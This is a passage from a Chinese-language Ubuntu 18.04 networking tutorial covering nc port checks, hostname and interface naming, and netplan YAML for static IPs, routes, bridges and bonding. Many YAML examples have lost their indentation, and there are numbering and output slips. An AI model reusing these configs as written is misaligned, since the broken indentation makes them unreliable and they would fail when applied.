  25. [root@ubuntu1804 ~]#apt -y install netcat-openbsd
  26. [root@centos8 ~]#yum -y install nc
  27. #探测TCP协议
  28. [root@ubuntu1804 ~]#nc -zv  10.0.0.101 22
  29. Connection to 10.0.0.101 22 port [tcp/ssh] succeeded!
  30. [root@ubuntu1804 ~]#nc -zv  10.0.0.101 2222
  31. nc: connect to 10.0.0.101 port 2222 (tcp) failed: Connection refused
  32. #探测UDP协议
  33. [root@ubuntu1804 ~]#nc -zv -u 10.0.0.101 2049
  34. Connection to 10.0.0.101 2049 port [udp/nfs] succeeded!
  35. [root@ubuntu1804 ~]#nc -zv -u 10.0.0.101 111
  36. Connection to 10.0.0.101 111 port [udp/sunrpc] succeeded!
  37. [root@ubuntu1804 ~]#nc -zv -u 10.0.0.101 123

5 Ubuntu 网络配置

5.1 主机名

  1. #修改主机名
  2. root@ubuntu1804:~# hostnamectl set-hostname ubuntu1804.baidu.com
  3. root@ubuntu1804:~# cat /etc/hostname
  4. ubuntu1804.baidu.com
  5. root@ubuntu1804:~# hostname
  6. ubuntu1804.baidu.com
  7. root@ubuntu1804:~# echo $HOSTNAME
  8. ubuntu1804
  9. root@ubuntu1804:~# exit
  10. logout
  11. xin@ubuntu1804:~$ sudo -i
  12. root@ubuntu1804:~# echo $HOSTNAME
  13. ubuntu1804.baidu.com

5.2 网卡名称

默认ubuntu的网卡名称和 CentOS 7 类似,如:ens33,ens38等

  1. #修改网卡名称为传统命名方式:
  2. #修改配置文件为下面形式
  3. root@ubuntu1804:~#vi /etc/default/grub
  4. GRUB_CMDLINE_LINUX="net.ifnames=0"
  5. #或者sed修改
  6. root@ubuntu1804:~# sed -i.bak '/^GRUB_CMDLINE_LINUX=/s#"$#net.ifnames=0"#'
  7. /etc/default/grub
  8. #生效新的grub.cfg文件
  9. root@ubuntu1804:~# grub-mkconfig -o /boot/grub/grub.cfg
  10. #或者
  11. root@ubuntu1804:~# update-grub
  12. root@ubuntu1804:~# grep net.ifnames /boot/grub/grub.cfg
  13.    linux /vmlinuz-4.15.0-96-generic root=UUID=51517b88-7e2b-4d4a-8c14-
  14. fe1a48ba153c ro net.ifnames=0
  15.    linux /vmlinuz-4.15.0-96-generic root=UUID=51517b88-7e2b-4d4a-
  16. 8c14-fe1a48ba153c ro net.ifnames=0
  17.    linux /vmlinuz-4.15.0-96-generic root=UUID=51517b88-7e2b-4d4a-
  18. 8c14-fe1a48ba153c ro recovery nomodeset net.ifnames=0
  19.    linux /vmlinuz-4.15.0-76-generic root=UUID=51517b88-7e2b-4d4a-
  20. 8c14-fe1a48ba153c ro net.ifnames=0
  21.    linux /vmlinuz-4.15.0-76-generic root=UUID=51517b88-7e2b-4d4a-
  22. 8c14-fe1a48ba153c ro recovery nomodeset net.ifnames=0
  23. #重启生效
  24. root@ubuntu1804:~# reboot

5.3 Ubuntu网卡配置

官网文档:
https://help.ubuntu.com/
https://ubuntu.com/server/docs/network-configuration

5.3.1 配置自动获取IP

网卡配置文件采用YAML格式,必须以 /etc/netplan/XXX.yaml 文件命名方式存放
可以每个网卡对应一个单独的配置文件,也可以将所有网卡都放在一个配置文件里

  1. #例:
  2. root@ubuntu1804:~# cat /etc/netplan/01-netcfg.yaml
  3. # This file describes the network interfaces available on your system
  4. # For more information, see netplan(5).
  5. network:
  6. version: 2
  7. renderer: networkd
  8. ethernets:
  9.  eth0:
  10.   dhcp4: yes
  11. #修改网卡配置文件后需执行命令生效:
  12. root@ubuntu1804:~#netplan apply

5.2.2 配置静态IP

  1. #例:
  2. root@ubuntu1804:~#vim /etc/netplan/01-netcfg.yaml
  3. network:
  4. version: 2
  5. renderer: networkd
  6. ethernets:
  7.  eth0:
  8.   addresses: [192.168.8.10/24,10.0.0.10/8]  #或者用下面两行,两种格式不能混用
  9.     - 192.168.8.10/24
  10.     - 10.0.0.10/8
  11.    gateway4: 10.0.0.2
  12.    nameservers:
  13.      search: [baidu.com, baidu.org]
  14.     addresses: [180.76.76.76, 8.8.8.8, 1.1.1.1]
  15. #查看ip和gateway
  16. root@ubuntu1804:~#ip addr
  17. root@ubuntu1804:~#route -n
  18. #查看DNS
  19. root@ubuntu1804:~#ls -l /etc/resolv.conf
  20. lrwxrwxrwx 1 root root 39 Dec 12 11:36 /etc/resolv.conf ->
  21. ../run/systemd/resolve/stub-resolv.conf
  22. root@ubuntu2004:~# resolvectl status #Ubuntu 20.04新命令
  23. root@ubuntu1804:~# systemd-resolve --status
  24. Global
  25.     DNSSEC NTA: 10.in-addr.arpa
  26.            16.172.in-addr.arpa
  27.            168.192.in-addr.arpa
  28.            17.172.in-addr.arpa
  29.            18.172.in-addr.arpa
  30.            19.172.in-addr.arpa
  31.            20.172.in-addr.arpa
  32.            21.172.in-addr.arpa
  33.            22.172.in-addr.arpa
  34.            23.172.in-addr.arpa
  35.            24.172.in-addr.arpa
  36.            25.172.in-addr.arpa
  37.            26.172.in-addr.arpa
  38.            27.172.in-addr.arpa
  39.            28.172.in-addr.arpa
  40.            29.172.in-addr.arpa
  41.            30.172.in-addr.arpa
  42.            31.172.in-addr.arpa
  43.            corp
  44.            d.f.ip6.arpa
  45.            home
  46.            internal
  47.            intranet
  48.            lan
  49.            local
  50.            private
  51.            test
  52. Link 5 (eth3)
  53.   Current Scopes: none
  54.    LLMNR setting: yes
  55. MulticastDNS setting: no
  56.   DNSSEC setting: no
  57.  DNSSEC supported: no
  58. Link 4 (eth2)
  59.   Current Scopes: none
  60.    LLMNR setting: yes
  61. MulticastDNS setting: no
  62.   DNSSEC setting: no
  63.  DNSSEC supported: no
  64. Link 3 (eth1)
  65.   Current Scopes: DNS
  66.    LLMNR setting: yes
  67. MulticastDNS setting: no
  68.   DNSSEC setting: no
  69.  DNSSEC supported: no
  70.     DNS Servers: 180.76.76.76
  71.            8.8.8.8
  72.            1.1.1.1
  73.     DNS Domain: baidu.com
  74.            baidu.org
  75. Link 2 (eth0)
  76.   Current Scopes: DNS
  77.    LLMNR setting: yes
  78. MulticastDNS setting: no
  79.   DNSSEC setting: no
  80.  DNSSEC supported: no
  81.     DNS Servers: 10.0.0.2
  82.     DNS Domain: localdomain

5.3.3 配置多⽹卡静态IP和静态路由

  1. root@ubuntu1804:~#vim  /etc/netplan/01-netcfg.yaml
  2. # This file describes the network interfaces available on your system
  3. # For more information, see netplan(5).
  4. network:
  5. version: 2
  6. renderer: networkd
  7. ethernets:
  8.  eth0:
  9.   dhcp4: no
  10.   dhcp6: no
  11.   addresses: [10.0.0.100/16]
  12.   gateway4: 10.0.0.2
  13.   nameservers:
  14.    addresses: [223.6.6.6]
  15.  eth1:
  16.   dhcp4: no
  17.   dhcp6: no
  18.   addresses: [10.20.0.100/16]
  19.   routes:
  20.    - to: 10.30.0.0/16
  21.    via: 10.20.0.1
  22.    - to: 10.40.0.0/16
  23.    via: 10.20.0.1
  24.    - to: 10.50.0.0/16
  25.    via: 10.20.0.1
  26.    - to: 10.60.0.0/16
  27.    via: 10.20.0.1
  28. root@ubuntu1804:~#netplan apply
  29. root@ubuntu1804:~#route -n
  30. Kernel IP routing table
  31. Destination   Gateway     Genmask     Flags Metric Ref  Use Iface
  32. 0.0.0.0     10.0.0.2     0.0.0.0     UG   0    0     0 eth0
  33. 10.0.0.0     0.0.0.0     255.255.0.0   U   0    0     0 eth0
  34. 10.20.0.0    0.0.0.0     255.255.0.0   U   0    0     0 eth1
  35. 10.30.0.0    10.20.0.1    255.255.0.0   UG   0    0     0 eth1
  36. 10.40.0.0    10.20.0.1    255.255.0.0   UG   0    0     0 eth1
  37. 10.50.0.0    10.20.0.1    255.255.0.0   UG   0    0     0 eth1
  38. 10.60.0.0    10.20.0.1    255.255.0.0   UG   0    0     0 eth1
  39. #或者每个网卡各自一个配置文件
  40. root@ubuntu1804:/etc/netplan# ls
  41. 01-netcfg.yaml  02-eth1.yaml
  42. root@ubuntu1804:/etc/netplan# cat 01-netcfg.yaml
  43. # This file describes the network interfaces available on your system
  44. # For more information, see netplan(5).
  45. network:
  46. version: 2
  47. renderer: networkd
  48. ethernets:
  49.  eth0:
  50.   dhcp4: yes
  51.   
  52. root@ubuntu1804:/etc/netplan# cat 02-eth1.yaml
  53. network:
  54. version: 2
  55. renderer: networkd
  56. ethernets:
  57.  eth1:
  58.   addresses:
  59.    - 10.20.0.100/16
  60.    - 192.168.0.100/24
  61.   gateway4: 10.20.0.2
  62.   nameservers:
  63.    search: [baidu.com, baidu.org]
  64.    addresses: [180.76.76.76, 8.8.8.8, 1.1.1.1]
  65.   routes:
  66.    - to: 10.30.0.0/16
  67.    via: 10.20.0.1
  68.    - to: 10.40.0.0/16
  69.    via: 10.20.0.1
  70.    - to: 10.50.0.0/16
  71.    via: 10.20.0.1
  72.    - to: 10.60.0.0/16
  73.    via: 10.20.0.1

5.3.4 单组桥接

  1. root@ubuntu1804:~# apt install -y bridge-utils
  2. root@ubuntu1804:~# dpkg -L bridge-utils
  3. /sbin/brctl
  4. ......
  5. #三个网卡配置使用一个配置文件
  6. root@ubuntu1804:~# cat /etc/netplan/01-netcfg.yaml
  7. # This file describes the network interfaces available on your system
  8. # For more information, see netplan(5).
  9. network:
  10. version: 2
  11. renderer: networkd
  12. ethernets:
  13.  eth0:
  14.   dhcp4: yes
  15.  eth1:
  16.   dhcp4: no
  17.   dhcp6: no
  18.  eth2:
  19.   dhcp4: no  
  20. bridges:
  21.  br0:
  22.   dhcp4: no
  23.   dhcp6: no
  24.   addresses: [10.0.0.18/16]
  25.   gateway4: 10.0.0.2
  26.   nameservers:
  27.    addresses: [223.6.6.6]
  28.   interfaces:
  29.    - eth1
  30.    - eth2
  31. #桥接配置单独一个文件
  32. [root@ubuntu1804 netplan]#cat br0.yaml
  33. network:
  34. version: 2
  35. renderer: networkd
  36. ethernets:
  37.  eth1:
  38.   dhcp4: no
  39.   dhcp6: no
  40.  eth2:
  41.   dhcp4: no  
  42. bridges:
  43.  br0:
  44.   dhcp4: no
  45.   dhcp6: no
  46.   addresses: [10.0.0.10/16]
  47.   gateway4: 10.0.0.2
  48.   nameservers:
  49.    addresses: [223.6.6.6]
  50.   interfaces:
  51.    - eth1
  52.    - eth2
  53. root@ubuntu1804:~# netplan apply
  54. root@ubuntu1804:~# ifconfig br0
  55. br0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
  56.    inet 10.0.0.18 netmask 255.255.0.0 broadcast 10.0.255.255
  57.    inet6 fe80::9cbe:1dff:fe85:6601 prefixlen 64 scopeid 0x20<link>
  58.    ether 9e:be:1d:85:66:01 txqueuelen 1000 (Ethernet)
  59.    RX packets 158 bytes 19534 (19.5 KB)
  60.    RX errors 0 dropped 0 overruns 0 frame 0
  61.    TX packets 10 bytes 796 (796.0 B)
  62.    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  63. root@ubuntu1804:~# brctl show
  64. bridge name bridge id STP enabled interfaces
  65. br0 8000.9ebe1d856601 no eth1
  66. eth2

5.3.5 多组桥接

  1. root@ubuntu1804:~#vim  /etc/netplan/01-netcfg.yaml
  2. # This file describes the network interfaces available on your system
  3. # For more information, see netplan(5).
  4. network:
  5. version: 2
  6. renderer: networkd
  7. ethernets:
  8.  eth0:
  9.   dhcp4: no
  10.   dhcp6: no
  11.  eth1:
  12.   dhcp4: no
  13.   dhcp6: no
  14. bridges:
  15.  br0:
  16.   dhcp4: no
  17.   dhcp6: no
  18.   addresses: [10.0.0.18/16]
  19.   gateway4: 10.0.0.1
  20.   nameservers:
  21.    addresses: [223.6.6.6]
  22.   interfaces:
  23.    - eth0
  24.  br1:
  25.   dhcp4: no
  26.   dhcp6: no
  27.   addresses: [10.10.0.18/16]
  28.   routes:
  29.    - to: 10.20.0.0/16
  30.     via: 10.10.0.1
  31.    - to: 10.30.0.0/16
  32.     via: 10.10.0.1
  33.    - to: 10.40.0.0/16
  34.     via: 10.10.0.1
  35.    - to: 10.50.0.0/16
  36.     via: 10.10.0.1
  37.   interfaces:
  38.    - eth1
  39. root@ubuntu1804:~# brctl show
  40. bridge name bridge id STP enabled interfaces
  41. br0 8000.96dbd15c1daf no eth0
  42. br1 8000.9e02ab0faeb0 no eth1
  43. root@ubuntu1804:~# ifconfig br0
  44. br0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
  45.    inet 10.0.0.18 netmask 255.255.0.0 broadcast 10.0.255.255
  46.    inet6 fe80::94db:d1ff:fe5c:1daf prefixlen 64 scopeid 0x20<link>
  47.    ether 96:db:d1:5c:1d:af txqueuelen 1000 (Ethernet)
  48.    RX packets 790 bytes 58296 (58.2 KB)
  49.    RX errors 0 dropped 0 overruns 0 frame 0
  50.    TX packets 608 bytes 81652 (81.6 KB)
  51.    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  52. root@ubuntu1804:~# ifconfig br1
  53. br1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
  54.    inet 10.10.0.18 netmask 255.255.0.0 broadcast 10.10.255.255
  55.    inet6 fe80::9c02:abff:fe0f:aeb0 prefixlen 64 scopeid 0x20<link>
  56.    ether 9e:02:ab:0f:ae:b0 txqueuelen 1000 (Ethernet)
  57.    RX packets 10 bytes 1046 (1.0 KB)
  58.    RX errors 0 dropped 0 overruns 0 frame 0
  59.    TX packets 7 bytes 586 (586.0 B)
  60.    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  61. root@ubuntu1804:~# route -n
  62. Kernel IP routing table
  63. Destination   Gateway     Genmask     Flags Metric Ref  Use Iface
  64. 0.0.0.0     10.0.0.1     0.0.0.0     UG   0    0     0 br0
  65. 10.0.0.0     0.0.0.0     255.255.0.0   U   0    0     0 br0
  66. 10.10.0.0    0.0.0.0     255.255.0.0   U   0    0     0 br1
  67. 10.20.0.0    10.10.0.1    255.255.0.0   UG   0    0     0 br1
  68. 10.30.0.0    10.10.0.1    255.255.0.0   UG   0    0     0 br1
  69. 10.50.0.0    10.10.0.1    255.255.0.0   UG   0    0     0 br1

5.3.6 双⽹卡绑定

  1. #支持多网卡绑定七种模式
  2. #第一种模式:mod=0,即:(balance-rr) Round-robin policy(平衡抡循环策略)
  3. 特点:传输数据包顺序是依次传输(即:第1个包走eth0,下一个包就走eth1...一直循环下去,直到最后一
  4. 个传输完毕),此模式提供负载平衡和容错能力。
  5. #第二种模式:mod=1,即: (active-backup) Active-backup policy(主-备份策略)
  6. 特点:只有一个设备处于活动状态,当一个宕掉另一个马上由备份转换为主设备。mac地址是外部可见得,从
  7. 外面看来,bond的MAC地址是唯一的,以避免switch(交换机)发生混乱。此模式只提供了容错能力;由此可
  8. 见此算法的优点是可以提供网络连接的可用性,但是它的资源利用率较低,只有一个接口处于工作状态,在有
  9. N 个网络接⼝的情况下,资源利用率为1/N。
  10. #第三种模式:mod=2,即:(balance-xor) XOR policy(平衡策略)
  11. 特点:基于指定的传输HASH策略传输数据包。缺省的策略是:(源MAC地址 XOR 目标MAC地址) % slave数
  12. 量。其他的传输策略可以通过xmit_hash_policy选项指定,此模式提供负载平衡和容错能力。
  13. #第四种模式:mod=3,即:broadcast(广播策略)
  14. 特点:在每个slave接口上传输每个数据包,此模式提供了容错能力。
  15. #第五种模式:mod=4,即:(802.3ad) IEEE 802.3ad Dynamic link aggregation(IEEE 802.3ad
  16. 动态链接聚合)
  17. 特点:创建一个聚合组,它们共享同样的速率和双工设定。根据802.3ad规范将多个slave工作在同一个激活
  18. 的聚合体下。
  19. 必要条件:
  20. 条件1:ethtool持获取每个slave的速率和双工设定。
  21. 条件2:switch(交换机)支持IEEE 802.3ad Dynamic link aggregation。
  22. 条件3:多数switch(交换机)需要经过特定配置才能支持802.3ad模式。
  23. #第六种模式:mod=5,即:(balance-tlb) Adaptive transmit load balancing(适配器传输负载均
  24. 衡)
  25. 特点:不需要任何特别的switch(交换机)支持的通道bonding。在每个slave上根据当前的负载(根据速度
  26. 计算)分配外出流量。如果正在接受数据的slave出故障了,另一个slave接管失败的slave的MAC地址。
  27. 该模式的必要条件:
  28. ethtool支持获取每个slave的速率
  29. #第七种模式:mod=6,即:(balance-alb) Adaptive load balancing(适配器适应性负载均衡)
  30. 特点:该模式包含了balance-tlb模式,同时加上针对IPV4流量的接收负载均衡(receive load
  31. balance,rlb),而且不需要任何switch(交换机)的支持。
  32. root@ubuntu1804:~# vim /etc/netplan/01-netcfg.yaml
  33. # This file describes the network interfaces available on your system
  34. # For more information, see netplan(5).
  35. network:
  36. version: 2
  37. renderer: networkd
  38. ethernets:
  39.  eth0:
  40.   dhcp4: no
  41.   dhcp6: no
  42.  eth1:
  43.   dhcp4: no
  44.   dhcp6: no
  45. bonds:
  46.  bond0:
  47.   interfaces:
  48.     - eth0
  49.     - eth1
  50.   addresses: [10.0.0.18/16]
  51.   gateway4: 10.0.0.1
  52.   nameservers:
  53.    addresses: [223.6.6.6,223.5.5.5]
  54.   parameters:
  55.    mode: active-backup
  56.    mii-monitor-interval: 100
  57.    fail-over-mac-policy: active
  58. root@ubuntu1804:~# netplan apply
  59. root@ubuntu1804:~# ifconfig bond0
  60. bond0: flags=5187<UP,BROADCAST,RUNNING,MASTER,MULTICAST> mtu 1500
  61.    inet 10.0.0.18 netmask 255.255.0.0 broadcast 10.0.255.255
  62.    inet6 fe80::2820:b7ff:fea8:5837 prefixlen 64 scopeid 0x20<link>
  63.    ether 2a:20:b7:a8:58:37 txqueuelen 1000 (Ethernet)
  64.    RX packets 296 bytes 25327 (25.3 KB)
  65.    RX errors 0 dropped 0 overruns 0 frame 0
  66.    TX packets 295 bytes 34876 (34.8 KB)
  67.    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  68. root@ubuntu1804:~# ifconfig eth0
  69. eth0: flags=6211<UP,BROADCAST,RUNNING,SLAVE,MULTICAST> mtu 1500
  70.    ether 2a:20:b7:a8:58:37 txqueuelen 1000 (Ethernet)
  71.    RX packets 3 bytes 180 (180.0 B)
  72.    RX errors 0 dropped 0 overruns 0 frame 0
  73.    TX packets 0 bytes 0 (0.0 B)
  74.    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  75. root@ubuntu1804:~# ifconfig eth1
  76. eth1: flags=6211<UP,BROADCAST,RUNNING,SLAVE,MULTICAST> mtu 1500
  77.    ether 2a:20:b7:a8:58:37 txqueuelen 1000 (Ethernet)
  78.    RX packets 340 bytes 28893 (28.8 KB)
  79.    RX errors 0 dropped 0 overruns 0 frame 0
  80.    TX packets 336 bytes 39940 (39.9 KB)
  81.    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  82. root@ubuntu1804:~# cat /proc/net/bonding/bond0
  83. Ethernet Channel Bonding Driver: v3.7.1 (April 27, 2011)
  84. Bonding Mode: fault-tolerance (active-backup)
  85. Primary Slave: None
  86. Currently Active Slave: eth1
  87. MII Status: up
  88. MII Polling Interval (ms): 100
  89. Up Delay (ms): 0
  90. Down Delay (ms): 0
  91. Slave Interface: eth1
  92. MII Status: up
  93. Speed: 1000 Mbps
  94. Duplex: full
  95. Link Failure Count: 0
  96. Permanent HW addr: 00:0c:29:34:df:9b
  97. Slave queue ID: 0
  98. Slave Interface: eth0
  99. MII Status: up
  100. Speed: 1000 Mbps
  101. Duplex: full
  102. Link Failure Count: 0
  103. Permanent HW addr: 00:0c:29:34:df:91
  104. Slave queue ID: 0
  105. root@ubuntu1804:~#

5.3.7 双⽹卡绑定+桥接

⽹卡绑定⽤于提供⽹卡接⼝冗余以及⾼可⽤和端⼝聚合功能,桥接⽹卡再给需要桥接设备的服务使⽤

  1. root@ubuntu1804:~# cat /etc/netplan/01-netcfg.yaml
  2. # This file describes the network interfaces available on your system
  3. # For more information, see netplan(5).
  4. network:
  5. version: 2
  6. renderer: networkd
  7. ethernets:
  8.  eth0:
  9.   dhcp4: no
  10.   dhcp6: no
  11.  eth1:
  12.   dhcp4: no
  13.   dhcp6: no
  14. bonds:
  15.  bond0:
  16.   interfaces:
  17.     - eth0
  18.     - eth1
  19.   parameters:
  20.    mode: active-backup
  21.    mii-monitor-interval: 100
  22. bridges:
  23.  br0:
  24.   dhcp4: no
  25.   dhcp6: no
  26.   addresses: [10.0.0.18/16]
  27.   gateway4: 10.0.0.1
  28.   nameservers:
  29.    addresses: [223.6.6.6,223.5.5.5]
  30.   interfaces:
  31.    - bond0
  32. root@ubuntu1804:~# netplan apply
  33. root@ubuntu1804:~# brctl show
  34. bridge name bridge id STP enabled interfaces
  35. br0 8000.96dbd15c1daf no bond0
  36. root@ubuntu1804:~# ifconfig br0
  37. br0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
  38.    inet 10.0.0.18 netmask 255.255.0.0 broadcast 10.0.255.255
  39.    inet6 fe80::94db:d1ff:fe5c:1daf prefixlen 64 scopeid 0x20<link>
  40.    ether 96:db:d1:5c:1d:af txqueuelen 1000 (Ethernet)
  41.    RX packets 97 bytes 6634 (6.6 KB)
  42.    RX errors 0 dropped 0 overruns 0 frame 0
  43.    TX packets 83 bytes 8286 (8.2 KB)
  44.    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  45. root@ubuntu1804:~# route -n
  46. Kernel IP routing table
  47. Destination   Gateway     Genmask     Flags Metric Ref  Use Iface
  48. 0.0.0.0     10.0.0.1     0.0.0.0     UG   0    0     0 br0
  49. 10.0.0.0     0.0.0.0     255.255.0.0   U   0    0     0 br0
  50. root@ubuntu1804:~# ifconfig
  51. bond0: flags=5187<UP,BROADCAST,RUNNING,MASTER,MULTICAST> mtu 1500
  52.    ether 2a:20:b7:a8:58:37 txqueuelen 1000 (Ethernet)
  53.    RX packets 2592 bytes 230049 (230.0 KB)
  54.    RX errors 0 dropped 0 overruns 0 frame 0
  55.    TX packets 2826 bytes 318282 (318.2 KB)
  56.    TX errors 0 dropped 1 overruns 0 carrier 0 collisions 0
  57. br0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
  58.    inet 10.0.0.18 netmask 255.255.0.0 broadcast 10.0.255.255
  59.    inet6 fe80::94db:d1ff:fe5c:1daf prefixlen 64 scopeid 0x20<link>
  60.    ether 96:db:d1:5c:1d:af txqueuelen 1000 (Ethernet)
  61.    RX packets 144 bytes 9890 (9.8 KB)
  62.    RX errors 0 dropped 0 overruns 0 frame 0
  63.    TX packets 117 bytes 12554 (12.5 KB)
  64.    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  65. eth0: flags=6211<UP,BROADCAST,RUNNING,SLAVE,MULTICAST> mtu 1500
  66.    ether 2a:20:b7:a8:58:37 txqueuelen 1000 (Ethernet)
  67.    RX packets 27 bytes 1990 (1.9 KB)
  68.    RX errors 0 dropped 0 overruns 0 frame 0
  69.    TX packets 0 bytes 0 (0.0 B)
  70.    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  71. eth0: flags=6211<UP,BROADCAST,RUNNING,SLAVE,MULTICAST> mtu 1500
  72.    ether 2a:20:b7:a8:58:37 txqueuelen 1000 (Ethernet)
  73.    RX packets 27 bytes 1990 (1.9 KB)
  74.    RX errors 0 dropped 0 overruns 0 frame 0
  75.    TX packets 0 bytes 0 (0.0 B)
  76.    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  77. lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
  78.    inet 127.0.0.1 netmask 255.0.0.0
  79.    inet6 ::1 prefixlen 128 scopeid 0x10<host>
  80.    loop txqueuelen 1000 (Local Loopback)
  81.    RX packets 1131 bytes 75592 (75.5 KB)
  82.    RX errors 0 dropped 0 overruns 0 frame 0
  83.    TX packets 1131 bytes 75592 (75.5 KB)
  84.    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

5.3.8 ⽹卡的多组绑定

可以实现网卡的多组绑定,比如:eth0,eth1绑定至bond0,eth2和eth3绑定bond1

  1. root@ubuntu1804:~#cat /etc/netplan/01-netcfg.yaml
  2. # This file describes the network interfaces available on your system
  3. # For more information, see netplan(5).
  4. network:
  5. version: 2
  6. renderer: networkd
  7. ethernets:
  8.  eth0:
  9.   dhcp4: no
  10.   dhcp6: no
  11.  eth1:
  12.   dhcp4: no
  13.   dhcp6: no
  14. eth2:
  15.   dhcp4: no
  16.   dhcp6: no
  17.  eth3:
  18.   dhcp4: no
  19.   dhcp6: no
  20. bonds:
  21.  bond0:
  22.   interfaces:
  23.     - eth0
  24.     - eth1
  25.   addresses: [10.0.0.18/16]
  26.   gateway4: 10.0.0.1
  27.   nameservers:
  28.    addresses: [223.6.6.6,223.5.5.5]
  29.   parameters:
  30.    mode: active-backup
  31.    mii-monitor-interval: 100
  32. bond1:
  33.   interfaces:
  34.     - eth2
  35.     - eth3
  36.   addresses: [10.10.0.18/16]
  37.   parameters:
  38.    mode: active-backup
  39.    mii-monitor-interval: 100
  40.   routes:
  41.     - to: 10.20.0.0/16
  42.     via: 10.10.0.1
  43.     - to: 10.30.0.0/16
  44.     via: 10.10.0.1
  45.     - to: 10.40.0.0/16
  46.     via: 10.10.0.1
  47.     - to: 10.50.0.0/16
  48.     via: 10.10.0.1
  49. root@ubuntu1804:~# netplan apply
  50. root@ubuntu1804:~# ifconfig
  51. bond0: flags=5187<UP,BROADCAST,RUNNING,MASTER,MULTICAST> mtu 1500
  52.    inet 10.0.0.18 netmask 255.255.0.0 broadcast 10.0.255.255
  53.    inet6 fe80::2820:b7ff:fea8:5837 prefixlen 64 scopeid 0x20<link>
  54.    ether 2a:20:b7:a8:58:37 txqueuelen 1000 (Ethernet)
  55.    RX packets 273 bytes 23591 (23.5 KB)
  56.    RX errors 0 dropped 0 overruns 0 frame 0
  57.    TX packets 364 bytes 42455 (42.4 KB)
  58.    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  59. bond1: flags=5187<UP,BROADCAST,RUNNING,MASTER,MULTICAST> mtu 1500
  60.    inet 10.10.0.18 netmask 255.255.0.0 broadcast 10.10.255.255
  61.    inet6 fe80::c035:83ff:fea1:abbb prefixlen 64 scopeid 0x20<link>
  62.    ether c2:35:83:a1:ab:bb txqueuelen 1000 (Ethernet)
  63.    RX packets 8 bytes 480 (480.0 B)
  64.    RX errors 0 dropped 0 overruns 0 frame 0
  65.    TX packets 10 bytes 796 (796.0 B)
  66.    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  67. eth0: flags=6211<UP,BROADCAST,RUNNING,SLAVE,MULTICAST> mtu 1500
  68.    ether 2a:20:b7:a8:58:37 txqueuelen 1000 (Ethernet)
  69.    RX packets 4 bytes 240 (240.0 B)
  70.    RX errors 0 dropped 0 overruns 0 frame 0
  71.    TX packets 0 bytes 0 (0.0 B)
  72.    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  73. eth1: flags=6211<UP,BROADCAST,RUNNING,SLAVE,MULTICAST> mtu 1500
  74.    ether 2a:20:b7:a8:58:37 txqueuelen 1000 (Ethernet)
  75.    RX packets 269 bytes 23351 (23.3 KB)
  76.    RX errors 0 dropped 0 overruns 0 frame 0
  77.    TX packets 364 bytes 42455 (42.4 KB)
  78.    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  79. eth2: flags=6211<UP,BROADCAST,RUNNING,SLAVE,MULTICAST> mtu 1500
  80.    ether c2:35:83:a1:ab:bb txqueuelen 1000 (Ethernet)
  81.    RX packets 4 bytes 240 (240.0 B)
  82.    RX errors 0 dropped 0 overruns 0 frame 0
  83.    TX packets 0 bytes 0 (0.0 B)
  84.    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  85. eth3: flags=6211<UP,BROADCAST,RUNNING,SLAVE,MULTICAST> mtu 1500
  86.    ether c2:35:83:a1:ab:bb txqueuelen 1000 (Ethernet)
  87.    RX packets 4 bytes 240 (240.0 B)
  88.    RX errors 0 dropped 0 overruns 0 frame 0
  89.    TX packets 10 bytes 796 (796.0 B)
  90.    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  91. lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
  92.    inet 127.0.0.1 netmask 255.0.0.0
  93.    inet6 ::1 prefixlen 128 scopeid 0x10<host>
  94.    loop txqueuelen 1000 (Local Loopback)
  95.    RX packets 120 bytes 8344 (8.3 KB)
  96.    RX errors 0 dropped 0 overruns 0 frame 0
  97.    TX packets 120 bytes 8344 (8.3 KB)
  98.    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  99. root@ubuntu1804:~# route -n
  100. Kernel IP routing table
  101. Destination   Gateway     Genmask     Flags Metric Ref  Use Iface
  102. 0.0.0.0     10.0.0.1     0.0.0.0     UG   0    0     0 bond0
  103. 10.0.0.0     0.0.0.0     255.255.0.0   U   0    0     0 bond0
  104. 10.10.0.0    0.0.0.0     255.255.0.0   U   0    0     0 bond1
  105. 10.20.0.0    10.10.0.1    255.255.0.0   UG   0    0     0 bond1
  106. 10.30.0.0    10.10.0.1    255.255.0.0   UG   0    0     0 bond1
  107. 10.40.0.0    10.10.0.1    255.255.0.0   UG   0    0     0 bond1
  108. 10.50.0.0    10.10.0.1    255.255.0.0   UG   0    0     0 bond1
  109. root@ubuntu1804:~# cat /proc/net/bonding/bond0
  110. Ethernet Channel Bonding Driver: v3.7.1 (April 27, 2011)
  111. Bonding Mode: fault-tolerance (active-backup)
  112. Primary Slave: None
  113. Currently Active Slave: eth1
  114. MII Status: up
  115. MII Polling Interval (ms): 100
  116. Up Delay (ms): 0
  117. Down Delay (ms): 0
  118. 。。。。
  119. root@ubuntu1804:~# cat /proc/net/bonding/bond1
  120. Ethernet Channel Bonding Driver: v3.7.1 (April 27, 2011)
  121. Bonding Mode: fault-tolerance (active-backup)
  122. Primary Slave: None
  123. Currently Active Slave: eth3
  124. MII Status: up
  125. MII Polling Interval (ms): 100
  126. Up Delay (ms): 0
  127. Down Delay (ms): 0
